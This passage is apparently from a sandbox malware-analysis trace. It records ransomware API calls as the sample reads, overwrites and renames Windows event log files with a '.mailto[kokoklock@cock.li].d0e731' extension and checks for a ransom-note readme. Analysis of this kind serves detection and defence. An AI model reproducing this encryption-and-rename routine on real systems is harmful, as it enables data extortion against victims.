dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.217] ReadFile (in: hFile=0x4a0, lpBuffer=0x636f87c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x636f878, lpOverlapped=0x0 | out: lpBuffer=0x636f87c*, lpNumberOfBytesRead=0x636f878*=0x4, lpOverlapped=0x0) returned 1 [0164.218] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.218] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a900 [0164.218] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a838 [0164.218] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8aa40 [0164.218] NtQuerySystemTime (in: CurrentTime=0x636f854 | out: CurrentTime=0x636f854*=132121213215371785) returned 0x0 [0164.218] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0x42afbd2 [0164.218] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0xd67b0ae7 [0164.218] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0xc3787916 [0164.218] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0x8df1854 [0164.218] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0xa6cd78ef [0164.218] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0xd1f4e622 [0164.218] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0x9bfd98b0 [0164.218] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0x4b5a851 [0164.219] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0x43490ec4 [0164.219] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0x1eda2964 [0164.219] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0xd29f52bd [0164.219] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0xc0140485 [0164.219] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0xad48024 [0164.219] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0xba1e2e5d [0164.219] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0x27d86cb9 [0164.219] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0xb6e36d81 [0164.219] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0x8db96ca2 [0164.219] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0x8d3220b0 [0164.219] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0xbcc92d5b [0164.219] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0x7d3957e1 [0164.219] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0x1ad6c1f7 [0164.219] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0xa3d500ed [0164.219] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0x7cae04ab [0164.219] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0x61ec1026 [0164.219] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0xeeac08c1 [0164.219] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0xf1ff4fe4 [0164.219] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0x6d37c21d [0164.219] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0x5677f1ae [0164.219] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0xfbe2f23d [0164.219] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0xebc4a295 [0164.219] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0x407331dd [0164.219] RtlRandom (in: Seed=0x636f860 | out: Seed=0x636f860) returned 0x8a8a5322 [0164.228] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a720 [0164.230] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac00 [0164.230] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8aa68 [0164.230] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac00) returned 1 [0164.230] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a900) returned 1 [0164.230] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc2fb0 [0164.230] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.230] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc2fb0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x636f82c, lpOverlapped=0x0 | out: lpBuffer=0x2fc2fb0*, lpNumberOfBytesRead=0x636f82c*=0x4096, lpOverlapped=0x0) returned 1 [0164.231] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.231] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87548 [0164.231] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa98 [0164.231] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a900 [0164.231] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a900) returned 1 [0164.232] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc7050 [0164.232] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6d0 [0164.232] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6f8 [0164.232] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6f8) returned 1 [0164.232] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa98) returned 1 [0164.232] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87548) returned 1 [0164.232] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc7050*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x636f82c, lpOverlapped=0x0 | out: lpBuffer=0x2fc7050*, lpNumberOfBytesWritten=0x636f82c*=0x4096, lpOverlapped=0x0) returned 1 [0164.232] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc7050) returned 1 [0164.232] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.232] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a6d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x636f864, lpOverlapped=0x0 | out: lpBuffer=0x2f8a6d0*, lpNumberOfBytesWritten=0x636f864*=0x20, lpOverlapped=0x0) returned 1 [0164.233] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6d0) returned 1 [0164.233] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc2fb0) returned 1 [0164.233] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8aa68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x636f878, lpOverlapped=0x0 | out: lpBuffer=0x2f8aa68*, lpNumberOfBytesWritten=0x636f878*=0x8, lpOverlapped=0x0) returned 1 [0164.233] WriteFile (in: hFile=0x4a0, lpBuffer=0x636f890*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x636f878, lpOverlapped=0x0 | out: lpBuffer=0x636f890*, lpNumberOfBytesWritten=0x636f878*=0x4, lpOverlapped=0x0) returned 1 [0164.233] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x636f878, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x636f878*=0x4, lpOverlapped=0x0) returned 1 [0164.233] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x636f878, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x636f878*=0x6c, lpOverlapped=0x0) returned 1 [0164.233] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a838*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x636f878, lpOverlapped=0x0 | out: lpBuffer=0x2f8a838*, lpNumberOfBytesWritten=0x636f878*=0x20, lpOverlapped=0x0) returned 1 [0164.234] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x636f878, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x636f878*=0x4, lpOverlapped=0x0) returned 1 [0164.234] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a838) returned 1 [0164.234] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a720) returned 1 [0164.234] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8aa68) returned 1 [0164.234] CloseHandle (hObject=0x4a0) returned 1 [0164.234] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x108) returned 0x2f6ab60 [0164.234] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.mailto[kokoklock@cock.li].d0e731" [0164.234] wcscat (in: _Dest=0x2f6ab60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.234] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.235] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.235] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0164.235] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.235] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f806e0 [0164.235] wcscpy (in: _Dest=0x2f806e0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.235] wcscat (in: _Dest=0x2f806e0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.235] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.235] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f806e0) returned 1 [0164.235] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88710) returned 1 [0164.235] RtlExitUserThread (Status=0x1) Thread: id = 1512 os_tid = 0xe7c [0164.237] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.237] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.238] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.238] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x63efa7c | out: lpFileSize=0x63efa7c*=69824) returned 1 [0164.238] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.238] ReadFile (in: hFile=0x4a0, lpBuffer=0x63efa50, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x63efa4c, lpOverlapped=0x0 | out: lpBuffer=0x63efa50*, lpNumberOfBytesRead=0x63efa4c*=0x4, lpOverlapped=0x0) returned 1 [0164.239] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.239] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a900 [0164.239] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a838 [0164.239] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8aa68 [0164.239] NtQuerySystemTime (in: CurrentTime=0x63efa28 | out: CurrentTime=0x63efa28*=132121213215528325) returned 0x0 [0164.239] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0xee755a8b [0164.239] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0x3403af17 [0164.239] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0xe2995003 [0164.239] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0x41f7cfc0 [0164.239] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0x5c4d73d9 [0164.239] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0x68af0c90 [0164.239] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0x14e987e4 [0164.239] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0x778044a [0164.239] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0xa7992ed7 [0164.239] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0x3bcae03d [0164.239] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0x74a24474 [0164.239] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0xfe711da8 [0164.239] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0x48c882f3 [0164.239] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0xf6f2a861 [0164.239] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0x118354ac [0164.239] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0xcbfba305 [0164.239] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0x4c9ff00a [0164.239] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0xa5b6e95b [0164.239] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0xf25bc7e6 [0164.239] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0x72502004 [0164.239] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0x81b2b23e [0164.239] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0x62670606 [0164.240] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0x4137f190 [0164.240] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0x6ad71eae [0164.240] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0x435be1bd [0164.240] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0xa8ec845f [0164.240] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0xc5c6f9c3 [0164.240] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0x67abd3f5 [0164.240] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0x7e4f0f88 [0164.240] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0x18dad611 [0164.240] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0x52b86213 [0164.240] RtlRandom (in: Seed=0x63efa34 | out: Seed=0x63efa34) returned 0x8a01cfbf [0164.249] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a720 [0164.251] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac00 [0164.251] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a590 [0164.251] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac00) returned 1 [0164.251] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a900) returned 1 [0164.251] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc2fb0 [0164.251] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.252] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc2fb0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x63efa00, lpOverlapped=0x0 | out: lpBuffer=0x2fc2fb0*, lpNumberOfBytesRead=0x63efa00*=0x4096, lpOverlapped=0x0) returned 1 [0164.253] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.253] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87548 [0164.253] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa98 [0164.253] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a900 [0164.253] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a900) returned 1 [0164.253] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc7050 [0164.253] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6d0 [0164.253] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6f8 [0164.253] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6f8) returned 1 [0164.253] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa98) returned 1 [0164.253] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87548) returned 1 [0164.253] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc7050*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x63efa00, lpOverlapped=0x0 | out: lpBuffer=0x2fc7050*, lpNumberOfBytesWritten=0x63efa00*=0x4096, lpOverlapped=0x0) returned 1 [0164.254] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc7050) returned 1 [0164.254] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.254] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a6d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x63efa38, lpOverlapped=0x0 | out: lpBuffer=0x2f8a6d0*, lpNumberOfBytesWritten=0x63efa38*=0x20, lpOverlapped=0x0) returned 1 [0164.254] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6d0) returned 1 [0164.254] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc2fb0) returned 1 [0164.254] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a590*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x63efa4c, lpOverlapped=0x0 | out: lpBuffer=0x2f8a590*, lpNumberOfBytesWritten=0x63efa4c*=0x8, lpOverlapped=0x0) returned 1 [0164.254] WriteFile (in: hFile=0x4a0, lpBuffer=0x63efa64*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x63efa4c, lpOverlapped=0x0 | out: lpBuffer=0x63efa64*, lpNumberOfBytesWritten=0x63efa4c*=0x4, lpOverlapped=0x0) returned 1 [0164.254] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x63efa4c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x63efa4c*=0x4, lpOverlapped=0x0) returned 1 [0164.255] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x63efa4c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x63efa4c*=0x6c, lpOverlapped=0x0) returned 1 [0164.255] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a838*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x63efa4c, lpOverlapped=0x0 | out: lpBuffer=0x2f8a838*, lpNumberOfBytesWritten=0x63efa4c*=0x20, lpOverlapped=0x0) returned 1 [0164.255] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x63efa4c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x63efa4c*=0x4, lpOverlapped=0x0) returned 1 [0164.255] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a838) returned 1 [0164.255] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a720) returned 1 [0164.255] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a590) returned 1 [0164.255] CloseHandle (hObject=0x4a0) returned 1 [0164.255] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x106) returned 0x2f6ab60 [0164.255] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.mailto[kokoklock@cock.li].d0e731" [0164.255] wcscat (in: _Dest=0x2f6ab60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.255] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.256] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.256] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0164.256] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.256] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f806e0 [0164.256] wcscpy (in: _Dest=0x2f806e0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.256] wcscat (in: _Dest=0x2f806e0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.256] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.257] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f806e0) returned 1 [0164.257] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88d90) returned 1 [0164.257] RtlExitUserThread (Status=0x1) Thread: id = 1513 os_tid = 0xe80 [0164.258] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.258] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.258] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.258] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x646fcc4 | out: lpFileSize=0x646fcc4*=69824) returned 1 [0164.258] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.258] ReadFile (in: hFile=0x4a0, lpBuffer=0x646fc98, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x646fc94, lpOverlapped=0x0 | out: lpBuffer=0x646fc98*, lpNumberOfBytesRead=0x646fc94*=0x4, lpOverlapped=0x0) returned 1 [0164.259] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.259] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a900 [0164.259] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a838 [0164.259] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a590 [0164.259] NtQuerySystemTime (in: CurrentTime=0x646fc70 | out: 